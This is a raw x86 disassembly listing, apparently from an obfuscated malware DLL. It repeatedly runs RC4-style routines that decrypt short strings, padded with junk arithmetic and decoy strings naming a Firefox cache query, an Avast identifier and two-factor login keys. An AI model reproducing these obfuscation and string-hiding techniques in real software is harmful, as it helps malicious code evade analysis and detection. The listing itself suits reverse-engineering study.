movzx eax, byte [ebp + edx - 0x1b8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000d206
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x168]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edi - 0x168], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x168], cl
movzx eax, byte [ebp + edi - 0x168]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x248], al
inc esi
cmp esi, 3
jb 0x1000d256
push 0xa
pop eax
mov ecx, eax
sub dword [0x10026dec], 0x779441d4
mov esi, str._t_tOptimizer.SecurityItems.push_lastItem__
mov dword [ebp - 8], 0x64b5ee76
lea edi, [ebp - 0x1b0]
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x245], dl
mov eax, edx
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x20]
sub esi, 0x5e6c37b6
mov dword [ebp - 0x20], esi
mov dword [0x10026c3c], esi
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000d2ef
mov edi, edx
mov esi, edx
xor edx, edx
mov cl, byte [ebp + edi - 0x168]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x10]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1b0]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x168]
mov byte [ebp + edi - 0x168], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x168], al
cmp edi, 0x100
jb 0x1000d302
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x20]
or eax, 0x38f24c55
mov dword [0x10026cec], eax
xor eax, eax
mov edx, eax
mov dword [ebp - 0x10], eax
mov edi, eax
lea eax, [edi + 1]
mov ecx, str._image_map_startOverIconMap
movzx edi, al
mov al, byte [ebp + edi - 0x168]
mov byte [ebp - 1], al
movzx eax, al
add eax, edx
mov edx, 0x255
movzx eax, al
mov dword [ebp - 0x24], eax
movzx eax, byte [str._image_map_startOverIconMap]
jmp 0x1000d39b
add edx, eax
inc ecx
cmp edx, 0x9dd
ja 0x1000d3a1
movzx eax, byte [ecx]
test eax, eax
jne 0x1000d38d
jmp 0x1000d3b8
call fcn.1000bc75
mov esi, dword [0x10026cec]
add esi, 0xc404305e
mov dword [0x10026c3c], esi
or esi, 0x74cfe871
imul eax, esi, 0x1bdd22fa
mov dword [0x10026dec], eax
call fcn.1000bbd1
mov edx, dword [ebp - 0x24]
mov ecx, dword [0x10026cec]
xor ecx, 0x8a21443d
imul esi, ecx, 0x9fff33ec
mov al, byte [ebp + edx - 0x168]
mov byte [ebp + edi - 0x168], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x168], al
mov dword [0x10026cec], ecx
movzx ecx, byte [ebp + edi - 0x168]
movzx eax, al
add ecx, eax
mov dword [0x10026c3c], esi
movzx eax, cl
mov ecx, dword [ebp - 0x10]
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + ecx - 8]
mov byte [ebp + ecx - 0x274], al
inc ecx
mov dword [ebp - 0x10], ecx
cmp ecx, 4
jb 0x1000d35f
push 0xa
pop eax
mov dword [ebp - 0x19c], eax
xor edx, edx
push 0x1a
pop eax
mov dword [ebp - 0x198], eax
mov ecx, 0xff1
mov byte [ebp - 0x270], dl
mov eax, edx
mov dword [ebp - 0x194], 0x24
mov dword [ebp - 0x190], 0x3b
mov dword [ebp - 0x18c], 0xdfb
sub ecx, dword [ebp + eax*4 - 0x19c]
inc eax
cmp eax, 5
jl 0x1000d478
push 0xc
pop eax
mov dword [ebp - 0x36c], ecx
lea edi, [ebp - 0x1b8]
mov ecx, eax
mov word [ebp - 0xc], 0x8ed6
mov esi, str.____ShowDrillDown_Optimizer.ResultDetails.Space__
mov byte [ebp - 0xa], 0x63
rep movsd dword es:[edi], dword [esi]
mov eax, edx
movsw word es:[edi], word [esi]
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000d4ab
mov edi, dword [0x10026dec]
mov esi, edx
xor edi, 0x9fcc9aa2
mov dword [ebp - 0x48], edi
mov edi, edx
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x40]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1b8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000d4cd
mov edi, dword [ebp - 0x48]
xor eax, eax
inc eax
cmp eax, 0xa75
jl 0x1000d529
cmp byte [eax + str.acc_login_tfa_totp], 0
jne 0x1000d516
jmp 0x1000d538
imul eax, dword [0x10026dec], 0xaf9bc69a
mov dword [0x10026dec], eax
and edi, 0x6e38fc5
mov dword [0x10026cec], edi
imul eax, edi, 0xb70db0dc
mov dword [0x10026c3c], eax
call fcn.1000b19c
mov ecx, dword [0x10026c3c]
mov edx, str.acc_login_tfa_totp
or ecx, 0x73e82882
mov al, 0x61
sub al, 0x30
cmp al, 9
ja 0x1000d576
inc edx
mov al, byte [edx]
test al, al
jne 0x1000d567
jmp 0x1000d580
or dword [0x10026cec], 0xb845f96a
xor ecx, 0xaf14b730
xor eax, eax
mov dword [0x10026dec], ecx
mov esi, eax
mov edi, eax
mov edx, eax
lea eax, [edi + 1]
movzx edi, al
mov dword [ebp - 0x18], edi
mov al, byte [ebp + edi - 0x168]
mov byte [ebp - 1], al
movzx eax, al
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
xor eax, eax
mov edx, eax
mov eax, str.CrapServer
inc edx
lea eax, [eax + 2]
cmp edx, 0x2ab
je 0x1000d5d3
xor edi, edi
cmp word [eax], di
mov edi, dword [ebp - 0x18]
jne 0x1000d5bb
jmp 0x1000d5e7
mov eax, str.CrapServer
mov edx, eax
mov ecx, eax
call fcn.1000b23c
mov ecx, dword [0x10026dec]
and ecx, 0x906bf585
mov dword [0x10026c3c], ecx
lea eax, [ecx - 0x21351a91]
mov dword [0x10026dec], eax
call fcn.1000bbd1
mov edx, dword [ebp - 8]
mov al, byte [ebp + edx - 0x168]
mov byte [ebp + edi - 0x168], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x168], al
movzx ecx, byte [ebp + edi - 0x168]
movzx eax, al
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x234], al
inc esi
cmp esi, 3
jae 0x1000d651
mov ecx, dword [0x10026dec]
jmp 0x1000d594
mov esi, str.protected:
mov word [ebp - 8], 0xd5c8
lea edi, [ebp - 0x58]
mov byte [ebp - 5], 0xda
push 0x37
pop eax
movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov byte [ebp - 6], al
mov eax, ecx
mov byte [ebp - 0x231], cl
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000d67b
mov esi, ecx
mov dword [ebp - 0x1c], 0xb
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x1c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000d693
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
mov eax, dword [0x10026cec]
and eax, 0x13f3d002
mov dword [0x10026dec], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x168]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edi - 0x168], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x168], cl
movzx eax, byte [ebp + edi - 0x168]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x27c], al
inc esi
cmp esi, 4
jb 0x1000d6ec
movzx eax, byte [str._image_map_startOverIconMap]
mov edx, 0x232a
mov esi, dword [0x10026c3c]
mov ecx, str._image_map_startOverIconMap
test eax, eax
je 0x1000d77f
add edx, eax
inc ecx
cmp edx, 0xb2f
ja 0x1000d773
movzx eax, byte [ecx]
test eax, eax
jne 0x1000d75f
jmp 0x1000d786
mov eax, esi
and eax, 0x4bec8738
mov dword [0x10026cec], eax
mov ecx, esi
call fcn.1000b90b
sub dword [0x10026cec], 0x45eb9cad
xor edx, edx
mov dword [ebp - 0x58], 0x5d
push 7
mov byte [ebp - 0x278], dl
mov eax, edx
pop ecx
mov dword [ebp - 0x54], 0x20
mov dword [ebp - 0x50], 0x101
add ecx, dword [ebp + eax*4 - 0x58]
inc eax
cmp eax, 3
jl 0x1000d7b2
push 0xe
pop eax
mov dword [ebp - 0x370], ecx
lea edi, [ebp - 0x1c0]
mov ecx, eax
mov word [ebp - 0xc], 0x8e54
mov esi, str.select_clientID_Key_Generation_DataSize_from_moz_cache_
mov byte [ebp - 0xa], dl
rep movsd dword es:[edi], dword [esi]
mov edi, edx
mov eax, edx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000d7e1
mov esi, edx
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1c0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000d7f2
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x168]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edi - 0x168], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x168], cl
movzx eax, byte [ebp + edi - 0x168]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x24c], al
inc esi
cmp esi, 3
jb 0x1000d83f
push 5
pop ecx
mov esi, str._tfunction_getText_ID_
mov dword [ebp - 8], 0x2102d199
lea edi, [ebp - 0x19c]
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x249], dl
mov eax, edx
movsw word es:[edi], word [esi]
mov edi, edx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000d8bc
mov esi, edx
mov dword [ebp - 0x24], 0x15
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x19c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000d8d4
mov ecx, dword [0x10026cec]
xor eax, eax
add ecx, 0x32c69f2e
mov edx, eax
mov edi, eax
mov dword [0x10026dec], ecx
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov al, byte [ebp + edi - 0x168]
mov byte [ebp - 1], al
movzx eax, al
add eax, edx
movzx eax, al
mov dword [ebp - 0x24], eax
lea eax, [ecx + 0x312ce739]
mov dword [0x10026c3c], eax
call fcn.1000b945
mov edx, dword [ebp - 0x24]
mov al, byte [ebp + edx - 0x168]
mov byte [ebp + edi - 0x168], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x168], al
movzx ecx, byte [ebp + edi - 0x168]
movzx eax, al
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x284], al
inc esi
cmp esi, 4
jae 0x1000d9a8
mov ecx, dword [0x10026dec]
jmp 0x1000d932
push 0x12
pop eax
xor edx, edx
mov dword [ebp - 0x38], eax
mov ecx, eax
mov byte [ebp - 0x280], dl
mov dword [ebp - 0x58], 0x44
mov eax, edx
mov dword [ebp - 0x54], 0x38
mov dword [ebp - 0x50], 0xaf
add ecx, dword [ebp + eax*4 - 0x58]
inc eax
cmp eax, 3
jl 0x1000d9cf
mov dword [ebp - 0x374], ecx
lea edi, [ebp - 0x19c]
push 5
pop ecx
mov esi, str..driverDetailsTopBar_
mov word [ebp - 0xc], 0xa93b
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xa], 0xa5
mov eax, edx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
imul esi, dword [0x10026dec], 0x7328f88f
mov dword [ebp - 8], esi
mov dword [0x10026c3c], esi
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000da11
mov edi, edx
mov dword [ebp - 0x48], 0x16
mov esi, edx
xor edx, edx
mov cl, byte [ebp + edi - 0x168]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x48]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x19c]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x168]
mov byte [ebp + edi - 0x168], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x168], al
cmp edi, 0x100
jb 0x1000da2b
xor eax, eax
mov edi, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov esi, edi
or eax, 0x8fb0b6de
mov dword [ebp - 0x14], eax
mov dword [0x10026cec], eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + esi - 0x168]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + esi - 0x168], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x168], cl
movzx eax, byte [ebp + esi - 0x168]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x1fc], al
inc edi
cmp edi, 3
jb 0x1000da88
push 0xb
pop eax
xor edx, edx
mov dword [ebp - 0x20], 0x525b9b84
mov ecx, eax
mov byte [ebp - 0x1f9], dl
mov esi, str.com.avast.ipm.ClientParameters.RootClientId
lea edi, [ebp - 0x1b4]
rep movsd dword es:[edi], dword [esi]
mov eax, edx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000db03
mov eax, dword [ebp - 0x14]
mov edi, edx
add eax, 0xe7c10f6
mov esi, edx
mov dword [0x10026dec], eax
xor edx, edx
mov dword [ebp - 0x24], 0x2b
mov eax, edi
mov cl, byte [ebp + edi - 0x168]
div dword [ebp - 0x24]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1b4]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x168]
mov byte [ebp + edi - 0x168], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x168], al
cmp edi, 0x100
jb 0x1000db23
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov eax, ecx
mov edi, ecx
inc eax
movzx eax, al
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov cl, byte [ebp + eax - 0x168]
mov eax, dword [ebp - 0x18]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + esi - 0x168], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x168], cl
mov eax, esi
mov esi, dword [ebp - 0x14]
mov ecx, str._image_map_startOverIconMap
movzx eax, byte [ebp + eax - 0x168]
add eax, edx
mov edx, 0x1ec4
movzx eax, al
mov al, byte [ebp + eax - 0x168]
mov byte [ebp - 1], al
movzx eax, byte [str._image_map_startOverIconMap]
test eax, eax
je 0x1000dc1f
add edx, eax
inc ecx
cmp edx, 0x671
ja 0x1000dbfd
movzx eax, byte [ecx]
test eax, eax
jne 0x1000dbdf
imul edx, dword [0x10026dec], 0xce9676bd
jmp 0x1000dc30
mov eax, dword [0x10026dec]
mov edx, eax
mov ecx, dword [ebp - 8]
push eax
push esi
call fcn.1000c051
mov eax, dword [0x10026c3c]
pop ecx
add eax, 0xe08cc55d
pop ecx
mov dword [0x10026dec], eax
call fcn.1000b53f
mov edx, dword [0x10026cec]
add edx, 0xa1e44ba4
mov dword [ebp - 8], edx
mov al, byte [ebp + edi - 0x20]
lea esi, [edx + 0x24439f77]
xor al, byte [ebp - 1]
mov byte [ebp + edi - 0x28c], al
inc edi
mov eax, dword [ebp - 0xc]
mov dword [0x10026c3c], edx
mov dword [ebp - 0x14], esi
mov dword [0x10026cec], esi
cmp edi, 4
jb 0x1000db77
xor eax, eax
mov dword [ebp - 0x58], 0x4c
mov byte [ebp - 0x288], al
mov ecx, 0xb90
mov dword [ebp - 0x54], 5
mov dword [ebp - 0x50], 0x9cd
sub ecx, dword [ebp + eax*4 - 0x58]
inc eax
cmp eax, 3
jl 0x1000dc85
push 0x1b
pop eax
mov dword [ebp - 0x378], ecx
lea edi, [ebp - 0x1c4]
push 0xf
pop ecx
mov esi, 0x1001f5f8
mov dword [ebp - 0x24], eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xa], al
xor eax, eax
mov word [ebp - 0xc], 0x45e7
mov dword [ebp - 0x10], eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000dcbc
mov eax, edx
xor eax, 0x48a7fb0f
mov dword [0x10026dec], eax
lea eax, [edx - 0x1e518ced]
mov ecx, str.acc_login_tfa_totp
mov dword [0x10026cec], eax
call fcn.1000b642
mov esi, dword [0x10026cec]
mov eax, esi
or eax, 0xa683e81d
mov dword [ebp - 0x170], esi
mov dword [0x10026c3c], eax
xor eax, eax
mov edi, eax
mov dword [ebp - 0x28], 0x3e
xor edx, edx
mov cl, byte [ebp + edi - 0x168]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x28]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1c4]
add eax, dword [ebp - 0x10]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x10], ecx
mov al, byte [ebp + ecx - 0x168]
mov byte [ebp + edi - 0x168], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x168], al
cmp edi, 0x100
jb 0x1000dd0f
xor eax, eax
mov dword [ebp - 0x14], eax
mov esi, eax
mov edi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x14]
mov cl, byte [ebp + esi - 0x168]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + esi - 0x168], al
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x168], cl
movzx eax, byte [ebp + esi - 0x168]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x200], al
inc edi
cmp edi, 3
jb 0x1000dd60
mov esi, dword [ebp - 0x170]
xor ecx, ecx
mov edi, ecx
mov eax, str.CrapServer
inc edi
lea eax, [eax + 2]
cmp edi, 0x1dbf
jg 0x1000ddda
cmp word [eax], cx
jne 0x1000ddc7
jmp 0x1000de18
call fcn.1000b30f
mov esi, dword [0x10026cec]
sub esi, 0x1b9d82ff
mov dword [0x10026cec], esi
cmp edi, 0x2632
jle 0x1000de18
mov ecx, dword [0x10026c3c]
mov edx, esi
push str.CrapServer
push str.acc_login_tfa_totp
call fcn.1000bdbc
mov esi, dword [0x10026cec]
pop ecx
pop ecx
or esi, 0xec28e8d6
mov dword [0x10026dec], esi
mov al, byte [str._image_map_startOverIconMap]
lea edx, [esi - 0x7f0b2bb7]
mov dword [0x10026c3c], edx
mov ecx, str._image_map_startOverIconMap
jmp 0x1000de45
sub al, 0x30
cmp al, 9
ja 0x1000de4b
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000de3c
jmp 0x1000de57
lea esi, [edx + 0x7019c477]
mov dword [0x10026dec], esi
xor eax, eax
mov byte [ebp - 0x1fd], al
or esi, 0x7c879f0f
mov dword [0x10026cec], esi
call fcn.1000b0c6
mov ecx, dword [0x10026c3c]
lea edi, [ebp - 0x54]
mov esi, str.OpenPseudo
mov word [ebp - 8], 0x6522
push 0x31
pop eax
add ecx, 0x5bf6f642
mov byte [ebp - 6], al
movsd dword es:[edi], dword [esi]
mov eax, str.acc_login_tfa_totp
push 0x61
mov byte [ebp - 5], 0x35
mov dword [0x10026c3c], ecx
movsd dword es:[edi], dword [esi]
pop edx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x1a0e
add esi, edx
inc eax
cmp esi, 0x19c7
ja 0x1000decc
movsx edx, byte [eax]
test edx, edx
jne 0x1000deac
mov eax, ecx
or eax, 0x97d0b515
mov dword [0x10026dec], eax
jmp 0x1000ded8
sub ecx, 0x22da979b
mov dword [0x10026c3c], ecx
xor ecx, 0xf628bee5
mov dword [0x10026cec], ecx
call fcn.1000b30f
xor ecx, ecx
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000deef
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x64]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x54]
mov edx, dword [0x10026cec]
add eax, edi
add ecx, eax
movzx edi, cl
mov dword [ebp - 0x10], edi
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
lea eax, [edx + 0x6e4499a0]
mov dword [0x10026c3c], eax
xor eax, eax
mov ecx, eax
mov eax, str.CrapServer
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x119e
jg 0x1000df68
xor edi, edi
cmp word [eax], di
mov edi, dword [ebp - 0x10]
jne 0x1000df4b
mov eax, dword [0x10026dec]
jmp 0x1000df7e
call fcn.1000b30f
mov eax, dword [0x10026dec]
lea edx, [eax + 0x31a3fa1d]
mov dword [0x10026cec], edx
imul eax, eax, 0x2b06f8c
mov dword [0x10026dec], eax
lea ecx, [eax + 0x2d092141]
push ecx
push ecx
mov dword [0x10026c3c], ecx
call fcn.1000c051
mov al, byte [ebp - 1]
inc esi
mov byte [ebp + edi - 0x168], al
pop ecx
pop ecx
cmp esi, 0x100
jb 0x1000df00
xor eax, eax
mov dword [ebp - 0x14], eax
mov edi, eax
mov esi, eax
mov eax, dword [0x10026c3c]
add eax, 0xe177d21b
mov dword [0x10026cec], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x14]
mov cl, byte [ebp + edi - 0x168]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edi - 0x168], al
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x168], cl
movzx eax, byte [ebp + edi - 0x168]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x294], al
inc esi
cmp esi, 4
jb 0x1000dfcd
mov eax, dword [0x10026dec]
xor ecx, ecx
push 0x2a
pop edx
mov byte [ebp - 0x290], cl
or eax, 0x42df694f
mov dword [ebp - 0x170], edx
inc ecx
cmp ecx, 0x37e
jl 0x1000e054
cmp byte [ecx + str.acc_login_tfa_totp], 0
jne 0x1000e040
jmp 0x1000e059
sub eax, 0x28115f73
add eax, 0x654510f0
mov dword [0x10026c3c], eax
mov edi, str.CrapServer
mov ecx, eax
and ecx, 0x77670a8
mov edx, edi
push edi
push eax
mov dword [0x10026dec], ecx
call fcn.1000b823
pop ecx
pop ecx
push 0x1a
pop eax
mov dword [ebp - 0x198], eax
xor eax, eax
mov dword [ebp - 0x194], 0x59
mov esi, eax
mov dword [ebp - 0x190], 0x5e
mov dword [ebp - 0x18c], 0x4a
mov eax, dword [0x10026cec]
mov ecx, dword [0x10026dec]
add eax, 0x720d5358
imul edx, ecx, 0xdec257fe
mov dword [ebp - 0x10], eax
mov eax, edi
push 0x43
mov dword [ebp - 0x14], 0xb26
pop edi
mov dword [0x10026cec], edx
add dword [ebp - 0x14], edi
lea eax, [eax + 2]
cmp dword [ebp - 0x14], 0x1542
ja 0x1000e0f6
movzx edi, word [eax]
test edi, edi
jne 0x1000e0d7
imul ecx, dword [ebp - 0x10], 0x965d0fc0
jmp 0x1000e108
imul edx, ecx, 0x2a963bc0
mov dword [0x10026cec], edx
or ecx, 0x1404cfdf
mov edi, str.CrapServer
mov dword [0x10026c3c], ecx
and ecx, 0x98681175
push edi
push str.acc_login_tfa_totp
mov dword [0x10026dec], ecx
call fcn.1000bdbc
mov eax, dword [ebp - 0x170]
add eax, dword [ebp + esi*4 - 0x198]
inc esi
mov dword [ebp - 0x170], eax
pop ecx
pop ecx
cmp esi, 4
jl 0x1000e0ac
imul edx, dword [0x10026dec], 0x8ddb20e4
lea edi, [ebp - 0x1a8]
push 8
pop ecx
mov esi, str.event_click___seeDetailsButton_
mov word [ebp - 0xc], 0x361
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [0x10026c3c], edx
mov byte [ebp - 0xa], 0x97
mov eax, ecx
movsb byte es:[edi], byte [esi]
mov edi, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000e17a
mov esi, ecx
mov dword [ebp - 0x30], 0x1f
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
and eax, 0x1f
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + eax - 0x1a8]
add eax, edi
add ecx, eax
xor eax, eax
movzx edi, cl
inc eax
cmp eax, 0x14d8
jl 0x1000e1c8
cmp byte [eax + str.acc_login_tfa_totp], 0
jne 0x1000e1b5
jmp 0x1000e1e2
call fcn.1000b30f
imul eax, dword [0x10026dec], 0x1734257b
mov edx, dword [0x10026c3c]
mov dword [0x10026dec], eax
mov eax, edx
or eax, 0xd5224c86
mov dword [0x10026cec], eax
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000e192
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x14], eax
mov esi, eax
or ecx, 0x80efb6f5
mov edi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x10], str.acc_login_tfa_totp
movzx esi, al
mov al, byte [ebp + esi - 0x168]
mov byte [ebp - 1], al
movzx eax, al
add eax, dword [ebp - 0x14]
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, 0x61
sub al, 0x30
cmp al, 9
ja 0x1000e25a
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov al, byte [eax]
test al, al
jne 0x1000e245
jmp 0x1000e260
imul ecx, edx, 0x56945ff0
sub ecx, 0x7e9bc025
mov dword [0x10026dec], ecx
call fcn.1000b014
xor edx, edx
mov eax, str.CrapServer
mov ecx, edx
inc ecx
lea eax, [eax + 2]
cmp ecx, 0xbdd
je 0x1000e293
cmp word [eax], dx
jne 0x1000e27a
mov edx, dword [0x10026cec]
jmp 0x1000e2a5
mov edx, dword [0x10026dec]
xor edx, 0x72481b99
mov dword [0x10026cec], edx
mov ecx, dword [0x10026c3c]
add ecx, 0x8536e91f
mov dword [0x10026dec], ecx
mov eax, edx
and eax, 0xff4c56f3
push eax
push edx
mov edx, ecx
mov dword [0x10026c3c], eax
call fcn.1000c051
mov edx, dword [0x10026cec]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor edx, 0x7773ddb3
mov dword [0x10026cec], edx
mov al, byte [ebp + ecx - 0x168]
mov byte [ebp + esi - 0x168], al
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x168], al
movzx ecx, byte [ebp + esi - 0x168]
movzx eax, al
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x204], al
inc edi
cmp edi, 3
jae 0x1000e334
mov ecx, dword [0x10026dec]
mov edx, dword [0x10026c3c]
jmp 0x1000e220
mov esi, str._command
mov dword [ebp - 8], 0x6f9e697
lea edi, [ebp - 0x54]
xor eax, eax
mov byte [ebp - 0x201], al
movsd dword es:[edi], dword [esi]
